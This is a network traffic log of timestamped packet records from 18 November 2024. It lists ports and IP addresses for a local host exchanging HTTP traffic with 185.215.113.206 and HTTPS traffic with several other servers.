Nov 18, 2024 00:27:53.363696098 CET	49975	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:53.363699913 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.363706112 CET	443	49975	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:53.363718033 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.365272999 CET	443	49960	162.159.61.3	192.168.2.6
Nov 18, 2024 00:27:53.365850925 CET	49960	443	192.168.2.6	162.159.61.3
Nov 18, 2024 00:27:53.365858078 CET	443	49960	162.159.61.3	192.168.2.6
Nov 18, 2024 00:27:53.366199017 CET	443	49960	162.159.61.3	192.168.2.6
Nov 18, 2024 00:27:53.366630077 CET	49960	443	192.168.2.6	162.159.61.3
Nov 18, 2024 00:27:53.366692066 CET	443	49960	162.159.61.3	192.168.2.6
Nov 18, 2024 00:27:53.399971008 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.399983883 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.399993896 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.400042057 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.400070906 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.400096893 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.400115967 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.400130987 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.400137901 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.400142908 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.400155067 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.400156975 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.400178909 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.400199890 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.411479950 CET	443	49969	23.221.22.215	192.168.2.6
Nov 18, 2024 00:27:53.411760092 CET	49969	443	192.168.2.6	23.221.22.215
Nov 18, 2024 00:27:53.411789894 CET	443	49969	23.221.22.215	192.168.2.6
Nov 18, 2024 00:27:53.412971020 CET	443	49969	23.221.22.215	192.168.2.6
Nov 18, 2024 00:27:53.413039923 CET	49969	443	192.168.2.6	23.221.22.215
Nov 18, 2024 00:27:53.414369106 CET	49969	443	192.168.2.6	23.221.22.215
Nov 18, 2024 00:27:53.414460897 CET	443	49969	23.221.22.215	192.168.2.6
Nov 18, 2024 00:27:53.434134960 CET	49976	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:53.434176922 CET	443	49976	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:53.434403896 CET	49976	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:53.434660912 CET	49977	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:53.434717894 CET	443	49977	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:53.434926033 CET	49978	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:53.434935093 CET	443	49978	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:53.434952974 CET	49977	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:53.434978962 CET	49978	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:53.435273886 CET	49979	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:53.435288906 CET	443	49979	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:53.435410976 CET	49979	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:53.435564041 CET	49980	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:53.435592890 CET	443	49980	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:53.435817003 CET	49980	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:53.436070919 CET	49976	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:53.436083078 CET	443	49976	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:53.436181068 CET	49977	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:53.436206102 CET	443	49977	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:53.436285019 CET	49978	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:53.436292887 CET	443	49978	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:53.436389923 CET	49979	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:53.436405897 CET	443	49979	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:53.436532021 CET	49980	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:53.436551094 CET	443	49980	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:53.436562061 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.436573029 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.436585903 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.436620951 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.436647892 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.436743021 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.436754942 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.436767101 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.436778069 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.436786890 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.436790943 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.436803102 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.436805010 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.436815023 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.436825991 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.436835051 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.436840057 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.436856031 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.436872005 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.436902046 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.436913013 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.436923027 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.436934948 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.436949015 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.436995029 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.437289953 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.437302113 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.437313080 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.437325001 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.437341928 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.437376022 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.437513113 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.437525034 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.437536001 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.437572956 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.437592030 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.437597036 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.437602997 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.437614918 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.437628031 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.437633991 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.437640905 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.437652111 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.437660933 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.437684059 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.438628912 CET	443	49968	23.221.22.215	192.168.2.6
Nov 18, 2024 00:27:53.438879013 CET	49968	443	192.168.2.6	23.221.22.215
Nov 18, 2024 00:27:53.438896894 CET	443	49968	23.221.22.215	192.168.2.6
Nov 18, 2024 00:27:53.439353943 CET	443	49968	23.221.22.215	192.168.2.6
Nov 18, 2024 00:27:53.439688921 CET	49968	443	192.168.2.6	23.221.22.215
Nov 18, 2024 00:27:53.439960957 CET	443	49968	23.221.22.215	192.168.2.6
Nov 18, 2024 00:27:53.444025993 CET	443	49966	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:53.451643944 CET	49966	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:53.451658964 CET	443	49966	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:53.452208996 CET	49966	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:53.452214956 CET	443	49966	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:53.481208086 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.481220007 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.481230974 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.481272936 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.481312037 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.517405033 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.517419100 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.517430067 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.517441988 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.517463923 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.517477036 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.517479897 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.517489910 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.517539024 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.517554045 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.517637968 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.517673016 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.529439926 CET	443	49967	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:53.530427933 CET	49967	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:53.530462027 CET	443	49967	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:53.530951023 CET	49967	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:53.530960083 CET	443	49967	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:53.542680025 CET	49960	443	192.168.2.6	162.159.61.3
Nov 18, 2024 00:27:53.542685032 CET	49968	443	192.168.2.6	23.221.22.215
Nov 18, 2024 00:27:53.558646917 CET	49969	443	192.168.2.6	23.221.22.215
Nov 18, 2024 00:27:53.558675051 CET	443	49969	23.221.22.215	192.168.2.6
Nov 18, 2024 00:27:53.575575113 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.575588942 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.575599909 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.575639963 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.575665951 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.575701952 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.575714111 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.575725079 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.575737000 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.575747967 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.575751066 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.575762987 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.575769901 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.575773001 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.575793982 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.575798035 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.575810909 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.575836897 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.576042891 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.576054096 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.576065063 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.576075077 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.576086998 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.576091051 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.576098919 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.576122046 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.576138020 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.576142073 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.576174021 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.576196909 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.576209068 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.576219082 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.576234102 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.576241970 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.576276064 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.576972961 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.576984882 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.576997042 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.577020884 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.577044010 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.577045918 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.577080011 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.590029001 CET	443	49966	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:53.590102911 CET	443	49966	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:53.590311050 CET	49966	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:53.590714931 CET	49966	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:53.590732098 CET	443	49966	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:53.590744019 CET	49966	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:53.590749025 CET	443	49966	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:53.594432116 CET	49981	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:53.594481945 CET	443	49981	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:53.594971895 CET	49981	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:53.595289946 CET	49981	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:53.595305920 CET	443	49981	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:53.598253012 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.598305941 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.598320961 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.598332882 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.598366022 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.598385096 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.634464025 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.634484053 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.634495974 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.634560108 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.634572029 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.634584904 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.634584904 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.634618044 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.634685993 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.634697914 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.634710073 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.634721994 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.634726048 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.634754896 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.646550894 CET	443	49970	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:53.647561073 CET	49970	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:53.647579908 CET	443	49970	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:53.648987055 CET	49970	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:53.648998976 CET	443	49970	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:53.667710066 CET	443	49967	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:53.667766094 CET	443	49967	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:53.667870045 CET	443	49967	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:53.667948008 CET	49967	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:53.670399904 CET	49967	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:53.670399904 CET	49967	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:53.670420885 CET	443	49967	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:53.670432091 CET	443	49967	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:53.675870895 CET	49982	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:53.675915003 CET	443	49982	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:53.676611900 CET	49982	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:53.676922083 CET	49982	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:53.676938057 CET	443	49982	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:53.692451954 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.692482948 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.692533970 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.692567110 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.692575932 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.692598104 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.692601919 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.692622900 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.692637920 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.692661047 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.692677975 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.692780018 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.692820072 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.692874908 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.692888975 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.692919970 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.692962885 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.693135023 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.693171024 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.693217039 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.693218946 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.693253994 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.693259001 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.693289042 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.693305969 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.693331003 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.693428993 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.693479061 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.693511963 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.693521976 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.693545103 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.693550110 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.693578959 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.693582058 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.693613052 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.693619013 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.693641901 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.693649054 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.693676949 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.693687916 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.693716049 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.694041967 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.694076061 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.694109917 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.694123983 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.694142103 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.694152117 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.694180965 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.694221973 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.694274902 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.694307089 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.694319010 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.694348097 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.694593906 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.694623947 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.694638968 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.694658995 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.715452909 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.715511084 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.715578079 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.715611935 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.715646029 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.715657949 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.715679884 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.715708971 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.715733051 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.715908051 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.716146946 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.722009897 CET	443	49971	23.221.22.215	192.168.2.6
Nov 18, 2024 00:27:53.722287893 CET	49971	443	192.168.2.6	23.221.22.215
Nov 18, 2024 00:27:53.722305059 CET	443	49971	23.221.22.215	192.168.2.6
Nov 18, 2024 00:27:53.722655058 CET	443	49971	23.221.22.215	192.168.2.6
Nov 18, 2024 00:27:53.723011971 CET	49971	443	192.168.2.6	23.221.22.215
Nov 18, 2024 00:27:53.723081112 CET	443	49971	23.221.22.215	192.168.2.6
Nov 18, 2024 00:27:53.746334076 CET	49969	443	192.168.2.6	23.221.22.215
Nov 18, 2024 00:27:53.751451015 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.751468897 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.751486063 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.751543045 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.751621962 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.751626968 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.751642942 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.751657009 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.751657009 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.751677036 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.751689911 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.755455017 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.755476952 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.755494118 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.755510092 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.755527020 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.755543947 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.755549908 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.755578995 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.755614996 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.783540010 CET	443	49970	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:53.783616066 CET	443	49970	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:53.783687115 CET	49970	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:53.783951044 CET	49970	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:53.783968925 CET	443	49970	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:53.783978939 CET	49970	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:53.783984900 CET	443	49970	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:53.787327051 CET	49983	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:53.787373066 CET	443	49983	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:53.787456989 CET	49983	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:53.787600994 CET	49983	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:53.787614107 CET	443	49983	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:53.809710979 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.809726000 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.809741020 CET	80	49889	185.215.113.206	192.168.2.6
